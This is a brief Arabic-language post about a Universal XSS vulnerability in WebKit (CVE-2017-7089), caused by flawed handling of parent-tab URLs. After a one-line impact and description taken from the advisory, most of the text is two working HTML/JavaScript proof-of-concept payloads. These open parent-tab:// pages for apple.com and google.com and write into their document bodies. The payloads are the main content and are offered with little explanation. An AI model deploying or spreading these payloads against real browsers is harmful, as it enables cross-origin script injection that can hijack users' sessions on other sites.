
استغلال uxss لمتصفح Webkit (CVE-2017-7089)
التأثير: قد يؤدي معالجة محتوى ويب تم تصميمه بشكل خبيث إلى ثغرة برمجة نصية عبر المواقع الشاملة (Universal XSS)
الوصف: كانت هناك مشكلة منطقية في معالجة parent-tab. تم معالجة هذه المشكلة من خلال تحسين إدارة الحالة.
<script> function Pew(){var doc=open('parent-tab://apple.com');doc.document.body.innerHTML='';}</script><button onclick=Pew();>Click me!</button>
data:text/html,<script>function y(){x=open('parent-tab://google.com','_top'),x.document.body.innerHTML=''};setTimeout(y,100)</script>